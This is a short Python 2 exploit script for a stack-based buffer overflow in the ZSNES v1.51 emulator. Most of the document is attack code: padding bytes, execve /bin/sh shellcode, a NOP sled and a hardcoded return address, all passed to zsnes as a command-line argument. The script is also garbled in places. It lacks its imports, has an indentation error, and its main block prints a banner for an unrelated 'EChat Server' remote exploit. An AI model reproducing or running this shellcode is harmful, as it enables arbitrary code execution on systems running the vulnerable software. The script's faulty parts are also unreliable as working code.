# Exploit Author: Juan Sacco - http://www.exploitpack.comp <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali Linux 2.0
# Description: ZSNES v1.51 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.zsnes.com
# Kali Linux 2.0 package: 1.510+bz2-8 (/var/lib/apt/lists/http.kali.org_kali_dists_sana_main_binary-i386_Packages)
# MD5: 23c1e4d12b6b8895961a29f2fd91570b

def run():
  try:
    print "# ZSNES v1.51 Stack-BoF by Juan Sacco"
    print "# Wasting CPU clocks on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP
    junk = "\x41"*8
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*589
    eip = "\x10\xf0\xff\xbf"

    subprocess.call(["zsnes", junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "ZSNES not found!"
    else:
    print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit EChat Server <= v2.5 Remote Buffer Overflow Exploit"
    print "Author: Juan Sacco (Runlvl)"
  except IndexError:
    howtousage()
run()
